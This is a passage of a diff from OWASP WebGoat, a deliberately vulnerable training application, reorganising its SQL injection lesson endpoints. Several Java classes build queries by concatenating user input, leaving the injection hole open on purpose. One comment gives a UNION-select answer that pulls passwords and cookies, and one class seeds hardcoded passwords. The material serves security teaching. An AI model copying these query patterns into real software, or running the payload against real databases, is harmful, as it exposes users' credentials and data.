// String query = "SELECT * FROM user_data WHERE last_name = ?";
|
||||
// ec.addElement(new PRE(query));
|
||||
//
|
||||
// try
|
||||
// {
|
||||
// PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
// ResultSet.CONCUR_READ_ONLY);
|
||||
// statement.setString(1, accountName);
|
||||
// ResultSet results = statement.executeQuery();
|
||||
//
|
||||
// if ((results != null) && (results.first() == true))
|
||||
// {
|
||||
// ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||
// ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
|
||||
// results.last();
|
||||
//
|
||||
// // If they get back more than one user they succeeded
|
||||
// if (results.getRow() >= 6)
|
||||
// {
|
||||
// makeSuccess(s);
|
||||
// }
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// ec.addElement(getLabelManager().get("NoResultsMatched"));
|
||||
// }
|
||||
// } catch (SQLException sqle)
|
||||
// {
|
||||
// ec.addElement(new P().addElement(sqle.getMessage()));
|
||||
// }
|
||||
// } catch (Exception e)
|
||||
// {
|
||||
// s.setMessage(getLabelManager().get("ErrorGenerating") + this.getClass().getName());
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
//
|
||||
// return (ec);
|
||||
// }
|
||||
//
|
||||
// protected Element makeAccountLine(WebSession s)
|
||||
// {
|
||||
// ElementContainer ec = new ElementContainer();
|
||||
// ec.addElement(new P().addElement(getLabelManager().get("EnterLastName")));
|
||||
//
|
||||
// accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
|
||||
// Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
|
||||
// ec.addElement(input);
|
||||
//
|
||||
// Element b = ECSFactory.makeButton(getLabelManager().get("Go!"));
|
||||
// ec.addElement(b);
|
||||
//
|
||||
// return ec;
|
||||
//
|
||||
// }
|
||||
|
||||
|
||||
|
||||
}
|
@ -1,223 +0,0 @@
|
||||
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.IOException;
|
||||
import java.sql.*;
|
||||
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/SqlInjection/attack6a")
|
||||
public class SqlInjectionLesson6a extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public @ResponseBody AttackResult completed(@RequestParam String userid_6a, HttpServletRequest request) throws IOException {
|
||||
return injectableQuery(userid_6a);
|
||||
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
||||
|
||||
}
|
||||
|
||||
protected AttackResult injectableQuery(String accountName)
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
||||
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
|
||||
|
||||
try
|
||||
{
|
||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
ResultSet results = statement.executeQuery(query);
|
||||
|
||||
if ((results != null) && (results.first() == true))
|
||||
{
|
||||
ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||
StringBuffer output = new StringBuffer();
|
||||
|
||||
output.append(writeTable(results, resultsMetaData));
|
||||
results.last();
|
||||
|
||||
// If they get back more than one user they succeeded
|
||||
if (results.getRow() >= 5)
|
||||
{
|
||||
return trackProgress(success().feedback("sql-injection.6a.success").feedbackArgs(output.toString()).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(output.toString()).build());
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
return trackProgress(failed().feedback("sql-injection.6a.no.results").build());
|
||||
|
||||
}
|
||||
} catch (SQLException sqle)
|
||||
{
|
||||
|
||||
return trackProgress(failed().output(sqle.getMessage()).build());
|
||||
}
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
|
||||
}
|
||||
}
|
||||
|
||||
public String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
|
||||
SQLException
|
||||
{
|
||||
int numColumns = resultsMetaData.getColumnCount();
|
||||
results.beforeFirst();
|
||||
StringBuffer t = new StringBuffer();
|
||||
t.append("<p>");
|
||||
|
||||
if (results.next())
|
||||
{
|
||||
for (int i = 1; i < (numColumns + 1); i++)
|
||||
{
|
||||
t.append(resultsMetaData.getColumnName(i));
|
||||
t.append(", ");
|
||||
}
|
||||
|
||||
t.append("<br />");
|
||||
results.beforeFirst();
|
||||
|
||||
while (results.next())
|
||||
{
|
||||
|
||||
for (int i = 1; i < (numColumns + 1); i++)
|
||||
{
|
||||
t.append(results.getString(i));
|
||||
t.append(", ");
|
||||
}
|
||||
|
||||
t.append("<br />");
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
t.append ("Query Successful; however no data was returned from this query.");
|
||||
}
|
||||
|
||||
t.append("</p>");
|
||||
return (t.toString());
|
||||
}
|
||||
//
|
||||
// protected Element parameterizedQuery(WebSession s)
|
||||
// {
|
||||
// ElementContainer ec = new ElementContainer();
|
||||
//
|
||||
// ec.addElement(getLabelManager().get("StringSqlInjectionSecondStage"));
|
||||
// if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
|
||||
// {
|
||||
// getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
|
||||
// return (injectableQuery(s));
|
||||
// }
|
||||
//
|
||||
// ec.addElement(new BR());
|
||||
//
|
||||
// try
|
||||
// {
|
||||
// Connection connection = DatabaseUtilities.getConnection(s);
|
||||
//
|
||||
// ec.addElement(makeAccountLine(s));
|
||||
//
|
||||
// String query = "SELECT * FROM user_data WHERE last_name = ?";
|
||||
// ec.addElement(new PRE(query));
|
||||
//
|
||||
// try
|
||||
// {
|
||||
// PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
// ResultSet.CONCUR_READ_ONLY);
|
||||
// statement.setString(1, accountName);
|
||||
// ResultSet results = statement.executeQuery();
|
||||
//
|
||||
// if ((results != null) && (results.first() == true))
|
||||
// {
|
||||
// ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||
// ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
|
||||
// results.last();
|
||||
//
|
||||
// // If they get back more than one user they succeeded
|
||||
// if (results.getRow() >= 6)
|
||||
// {
|
||||
// makeSuccess(s);
|
||||
// }
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// ec.addElement(getLabelManager().get("NoResultsMatched"));
|
||||
// }
|
||||
// } catch (SQLException sqle)
|
||||
// {
|
||||
// ec.addElement(new P().addElement(sqle.getMessage()));
|
||||
// }
|
||||
// } catch (Exception e)
|
||||
// {
|
||||
// s.setMessage(getLabelManager().get("ErrorGenerating") + this.getClass().getName());
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
//
|
||||
// return (ec);
|
||||
// }
|
||||
//
|
||||
// protected Element makeAccountLine(WebSession s)
|
||||
// {
|
||||
// ElementContainer ec = new ElementContainer();
|
||||
// ec.addElement(new P().addElement(getLabelManager().get("EnterLastName")));
|
||||
//
|
||||
// accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
|
||||
// Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
|
||||
// ec.addElement(input);
|
||||
//
|
||||
// Element b = ECSFactory.makeButton(getLabelManager().get("Go!"));
|
||||
// ec.addElement(b);
|
||||
//
|
||||
// return ec;
|
||||
//
|
||||
// }
|
||||
|
||||
|
||||
|
||||
}
|
@ -0,0 +1,63 @@
|
||||
package org.owasp.webgoat.plugin.advanced;
|
||||
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author WebGoat
|
||||
* @version $Id: $Id
|
||||
* @since October 12, 2016
|
||||
*/
|
||||
public class SqlInjectionAdvanced extends NewLesson {
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.INJECTION;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 1;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "SQL Injection (advanced)";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getId() {
|
||||
return "SqlInjectionAdvanced";
|
||||
}
|
||||
}
|
@ -0,0 +1,136 @@
|
||||
package org.owasp.webgoat.plugin.advanced;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.RandomStringUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.util.StringUtils;
|
||||
import org.springframework.web.bind.annotation.PutMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.sql.*;
|
||||
|
||||
import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 4/8/17.
|
||||
*/
|
||||
@AssignmentPath("SqlInjection/challenge")
|
||||
@Slf4j
|
||||
public class SqlInjectionChallenge extends AssignmentEndpoint {
|
||||
|
||||
private static final String PASSWORD_TOM = "thisisasecretfortomonly";
|
||||
//Make it more random at runtime (good luck guessing)
|
||||
private static final String USERS_TABLE_NAME = "challenge_users_6" + RandomStringUtils.randomAlphabetic(16);
|
||||
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
|
||||
public SqlInjectionChallenge() {
|
||||
log.info("Challenge 6 tablename is: {}", USERS_TABLE_NAME);
|
||||
}
|
||||
|
||||
@PutMapping //assignment path is bounded to class so we use different http method :-)
|
||||
@ResponseBody
|
||||
public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {
|
||||
AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);
|
||||
|
||||
if (attackResult == null) {
|
||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
||||
checkDatabase(connection);
|
||||
|
||||
String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'";
|
||||
Statement statement = connection.createStatement();
|
||||
ResultSet resultSet = statement.executeQuery(checkUserQuery);
|
||||
|
||||
if (resultSet.next()) {
|
||||
attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build();
|
||||
} else {
|
||||
PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)");
|
||||
preparedStatement.setString(1, username_reg);
|
||||
preparedStatement.setString(2, email_reg);
|
||||
preparedStatement.setString(3, password_reg);
|
||||
preparedStatement.execute();
|
||||
attackResult = success().feedback("user.created").feedbackArgs(username_reg).build();
|
||||
}
|
||||
}
|
||||
return attackResult;
|
||||
}
|
||||
|
||||
private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) {
|
||||
if (StringUtils.isEmpty(username_reg) || StringUtils.isEmpty(email_reg) || StringUtils.isEmpty(password_reg)) {
|
||||
return failed().feedback("input.invalid").build();
|
||||
}
|
||||
if (username_reg.length() > 250 || email_reg.length() > 30 || password_reg.length() > 30) {
|
||||
return failed().feedback("input.invalid").build();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@RequestMapping(method = POST)
|
||||
@ResponseBody
|
||||
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
|
||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
||||
checkDatabase(connection);
|
||||
|
||||
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = ? and password = ?");
|
||||
statement.setString(1, username_login);
|
||||
statement.setString(2, password_login);
|
||||
ResultSet resultSet = statement.executeQuery();
|
||||
|
||||
if (resultSet.next() && "tom".equals(username_login)) {
|
||||
return success().build();
|
||||
} else {
|
||||
return failed().feedback("NoResultsMatched").build();
|
||||
}
|
||||
}
|
||||
|
||||
private void checkDatabase(Connection connection) throws SQLException {
|
||||
try {
|
||||
Statement statement = connection.createStatement();
|
||||
statement.execute("select 1 from " + USERS_TABLE_NAME);
|
||||
} catch (SQLException e) {
|
||||
createChallengeTable(connection);
|
||||
}
|
||||
}
|
||||
|
||||
private void createChallengeTable(Connection connection) {
|
||||
Statement statement = null;
|
||||
try {
|
||||
statement = connection.createStatement();
|
||||
String dropTable = "DROP TABLE " + USERS_TABLE_NAME;
|
||||
statement.executeUpdate(dropTable);
|
||||
} catch (SQLException e) {
|
||||
log.info("Delete failed, this does not point to an error table might not have been present...");
|
||||
}
|
||||
log.debug("Challenge 6 - Creating tables for users {}", USERS_TABLE_NAME);
|
||||
try {
|
||||
String createTableStatement = "CREATE TABLE " + USERS_TABLE_NAME
|
||||
+ " (" + "userid varchar(250),"
|
||||
+ "email varchar(30),"
|
||||
+ "password varchar(30)"
|
||||
+ ")";
|
||||
statement.executeUpdate(createTableStatement);
|
||||
|
||||
String insertData1 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('larry', 'larry@webgoat.org', 'larryknows')";
|
||||
String insertData2 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('tom', 'tom@webgoat.org', '" + PASSWORD_TOM + "')";
|
||||
String insertData3 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')";
|
||||
String insertData4 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('eve', 'eve@webgoat.org', '**********')";
|
||||
statement.executeUpdate(insertData1);
|
||||
statement.executeUpdate(insertData2);
|
||||
statement.executeUpdate(insertData3);
|
||||
statement.executeUpdate(insertData4);
|
||||
} catch (SQLException e) {
|
||||
log.error("Unable create table", e);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -1,4 +1,4 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
package org.owasp.webgoat.plugin.introduction;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
@ -0,0 +1,128 @@
|
||||
|
||||
package org.owasp.webgoat.plugin.introduction;
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.sql.*;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/SqlInjection/attack5a")
|
||||
@AssignmentHints(value = {"SqlStringInjectionHint1", "SqlStringInjectionHint2", "SqlStringInjectionHint3", "SqlStringInjectionHint4"})
|
||||
public class SqlInjectionLesson5a extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public
|
||||
@ResponseBody
|
||||
AttackResult completed(@RequestParam String account) {
|
||||
return injectableQuery(account);
|
||||
}
|
||||
|
||||
protected AttackResult injectableQuery(String accountName) {
|
||||
try {
|
||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
||||
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
|
||||
|
||||
try {
|
||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
ResultSet results = statement.executeQuery(query);
|
||||
|
||||
if ((results != null) && (results.first())) {
|
||||
ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||
StringBuffer output = new StringBuffer();
|
||||
|
||||
output.append(writeTable(results, resultsMetaData));
|
||||
results.last();
|
||||
|
||||
// If they get back more than one user they succeeded
|
||||
if (results.getRow() >= 6) {
|
||||
return trackProgress(success().feedback("sql-injection.5a.success").feedbackArgs(output.toString()).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(output.toString()).build());
|
||||
}
|
||||
} else {
|
||||
return trackProgress(failed().feedback("sql-injection.5a.no.results").build());
|
||||
|
||||
}
|
||||
} catch (SQLException sqle) {
|
||||
|
||||
return trackProgress(failed().output(sqle.getMessage()).build());
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
|
||||
}
|
||||
}
|
||||
|
||||
public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
|
||||
SQLException {
|
||||
int numColumns = resultsMetaData.getColumnCount();
|
||||
results.beforeFirst();
|
||||
StringBuffer t = new StringBuffer();
|
||||
t.append("<p>");
|
||||
|
||||
if (results.next()) {
|
||||
for (int i = 1; i < (numColumns + 1); i++) {
|
||||
t.append(resultsMetaData.getColumnName(i));
|
||||
t.append(", ");
|
||||
}
|
||||
|
||||
t.append("<br />");
|
||||
results.beforeFirst();
|
||||
|
||||
while (results.next()) {
|
||||
|
||||
for (int i = 1; i < (numColumns + 1); i++) {
|
||||
t.append(results.getString(i));
|
||||
t.append(", ");
|
||||
}
|
||||
|
||||
t.append("<br />");
|
||||
}
|
||||
|
||||
} else {
|
||||
t.append("Query Successful; however no data was returned from this query.");
|
||||
}
|
||||
|
||||
t.append("</p>");
|
||||
return (t.toString());
|
||||
}
|
||||
}
|
@ -0,0 +1,99 @@
|
||||
package org.owasp.webgoat.plugin.introduction;
|
||||
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.IOException;
|
||||
import java.sql.*;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/SqlInjection/attack5b")
|
||||
@AssignmentHints(value = {"SqlStringInjectionHint1", "SqlStringInjectionHint2", "SqlStringInjectionHint3", "SqlStringInjectionHint4"})
|
||||
public class SqlInjectionLesson5b extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public
|
||||
@ResponseBody
|
||||
AttackResult completed(@RequestParam String userid, HttpServletRequest request) throws IOException {
|
||||
return injectableQuery(userid);
|
||||
|
||||
}
|
||||
|
||||
protected AttackResult injectableQuery(String accountName) {
|
||||
try {
|
||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
||||
String query = "SELECT * FROM user_data WHERE userid = " + accountName;
|
||||
|
||||
try {
|
||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
ResultSet results = statement.executeQuery(query);
|
||||
|
||||
if ((results != null) && (results.first() == true)) {
|
||||
ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||
StringBuffer output = new StringBuffer();
|
||||
|
||||
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
|
||||
results.last();
|
||||
|
||||
// If they get back more than one user they succeeded
|
||||
if (results.getRow() >= 6) {
|
||||
return trackProgress(success().feedback("sql-injection.5b.success").feedbackArgs(output.toString()).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(output.toString()).build());
|
||||
}
|
||||
|
||||
} else {
|
||||
return trackProgress(failed().feedback("sql-injection.5b.no.results").build());
|
||||
|
||||
// output.append(getLabelManager().get("NoResultsMatched"));
|
||||
}
|
||||
} catch (SQLException sqle) {
|
||||
|
||||
return trackProgress(failed().output(sqle.getMessage()).build());
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,97 @@
|
||||
|
||||
package org.owasp.webgoat.plugin.introduction;
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.sql.*;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/SqlInjection/attack6a")
|
||||
@AssignmentHints(value = {"SqlStringInjectionHint5", "SqlStringInjectionHint6", "SqlStringInjectionHint7"})
|
||||
public class SqlInjectionLesson6a extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public
|
||||
@ResponseBody
|
||||
AttackResult completed(@RequestParam String userid_6a) throws IOException {
|
||||
return injectableQuery(userid_6a);
|
||||
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
||||
|
||||
}
|
||||
|
||||
protected AttackResult injectableQuery(String accountName) {
|
||||
try {
|
||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
||||
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
|
||||
|
||||
try {
|
||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
ResultSet results = statement.executeQuery(query);
|
||||
|
||||
if ((results != null) && (results.first())) {
|
||||
ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||
StringBuffer output = new StringBuffer();
|
||||
|
||||
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
|
||||
results.last();
|
||||
|
||||
// If they get back more than one user they succeeded
|
||||
if (results.getRow() >= 5) {
|
||||
return trackProgress(success().feedback("sql-injection.6a.success").feedbackArgs(output.toString()).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(output.toString()).build());
|
||||
}
|
||||
|
||||
} else {
|
||||
return trackProgress(failed().feedback("sql-injection.6a.no.results").build());
|
||||
|
||||
}
|
||||
} catch (SQLException sqle) {
|
||||
return trackProgress(failed().output(sqle.getMessage()).build());
|
||||
}
|
||||
} catch (Exception e) {
|
||||
